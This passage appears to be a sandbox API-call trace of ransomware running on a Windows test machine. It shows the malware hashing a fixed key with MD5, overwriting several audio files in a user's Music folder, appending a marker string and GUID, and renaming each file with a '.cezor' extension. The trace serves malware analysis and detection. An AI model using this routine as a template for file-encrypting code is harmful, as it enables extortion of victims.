HALPmcxz\\Music\\tbTKJ0ZxbS6wZlGEphR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tbtkj0zxbs6wzlgephr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.337] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=96736) returned 1 [0060.337] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.340] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x179ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.340] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.340] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.340] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.341] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.341] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x179e0, lpOverlapped=0x0) returned 1 [0060.341] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.341] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.341] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.341] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.342] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.342] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.342] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.342] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.342] GetLastError () returned 0x0 [0060.342] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.342] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x179e0) returned 0x3132418 [0060.343] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.343] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x179db, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x179db, lpOverlapped=0x0) returned 1 [0060.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.343] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x179e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.343] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.343] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.343] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.344] CloseHandle (hObject=0x5c4) returned 1 [0060.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0060.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.345] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tbTKJ0ZxbS6wZlGEphR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tbtkj0zxbs6wzlgephr.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tbTKJ0ZxbS6wZlGEphR.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tbtkj0zxbs6wzlgephr.wav.cezor")) returned 1 [0060.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.345] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.346] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x847323a0, ftCreationTime.dwHighDateTime=0x1d4c972, ftLastAccessTime.dwLowDateTime=0x1a1bc660, ftLastAccessTime.dwHighDateTime=0x1d4cdf0, ftLastWriteTime.dwLowDateTime=0x1a1bc660, ftLastWriteTime.dwHighDateTime=0x1d4cdf0, nFileSizeHigh=0x0, nFileSizeLow=0xcc37, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ucbmmg-N-J.wav", cAlternateFileName="UCBMMG~1.WAV")) returned 1 [0060.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0060.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.346] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ucbmmg-N-J.wav") returned=".wav" [0060.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ucbmmg-N-J.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ucbmmg-n-j.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.346] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=52279) returned 1 [0060.346] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.349] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xcc11, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.349] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.349] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.350] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xcc37, lpOverlapped=0x0) returned 1 [0060.350] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.350] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.350] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.350] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.350] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.351] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.351] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.351] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.351] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.351] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.351] GetLastError () returned 0x0 [0060.351] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.351] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.351] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.351] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xcc40) returned 0x3132418 [0060.351] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.351] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.351] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xcc32, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xcc32, lpOverlapped=0x0) returned 1 [0060.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.352] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xcc37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.352] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.352] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.352] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.352] CloseHandle (hObject=0x5c4) returned 1 [0060.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.353] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ucbmmg-N-J.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ucbmmg-n-j.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ucbmmg-N-J.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ucbmmg-n-j.wav.cezor")) returned 1 [0060.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.353] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0060.354] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af2cf80, ftCreationTime.dwHighDateTime=0x1d4c5b9, ftLastAccessTime.dwLowDateTime=0x85650ee0, ftLastAccessTime.dwHighDateTime=0x1d4c8dc, ftLastWriteTime.dwLowDateTime=0x85650ee0, ftLastWriteTime.dwHighDateTime=0x1d4c8dc, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wAomAj1M-1.mp3", cAlternateFileName="WAOMAJ~1.MP3")) returned 1 [0060.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0060.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.354] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wAomAj1M-1.mp3") returned=".mp3" [0060.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wAomAj1M-1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\waomaj1m-1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.355] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=63488) returned 1 [0060.355] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.357] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf7da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.357] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.358] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.358] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xf800, lpOverlapped=0x0) returned 1 [0060.358] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.358] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.358] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.358] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.359] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.359] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.359] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.359] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.359] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.359] GetLastError () returned 0x0 [0060.359] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.359] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.359] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xf800) returned 0x3132418 [0060.360] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.360] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.360] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xf7fb, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xf7fb, lpOverlapped=0x0) returned 1 [0060.360] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.360] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.360] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.360] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.360] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.360] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.360] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.360] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.360] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.360] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.360] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.361] CloseHandle (hObject=0x5c4) returned 1 [0060.362] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.362] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.362] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wAomAj1M-1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\waomaj1m-1.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wAomAj1M-1.mp3.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\waomaj1m-1.mp3.cezor")) returned 1 [0060.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.362] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0060.363] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa8acb0, ftCreationTime.dwHighDateTime=0x1d4d42e, ftLastAccessTime.dwLowDateTime=0x4e373950, ftLastAccessTime.dwHighDateTime=0x1d4c947, ftLastWriteTime.dwLowDateTime=0x4e373950, ftLastWriteTime.dwHighDateTime=0x1d4c947, nFileSizeHigh=0x0, nFileSizeLow=0x5d12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wEWdm1lt.wav", cAlternateFileName="")) returned 1 [0060.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0060.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.363] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wEWdm1lt.wav") returned=".wav" [0060.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wEWdm1lt.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wewdm1lt.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.363] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=23826) returned 1 [0060.363] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.366] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5cec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.366] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.367] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.367] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x5d12, lpOverlapped=0x0) returned 1 [0060.367] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.367] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.367] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.367] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.368] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.368] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.368] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.368] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.368] GetLastError () returned 0x0 [0060.368] CryptDestroyHash 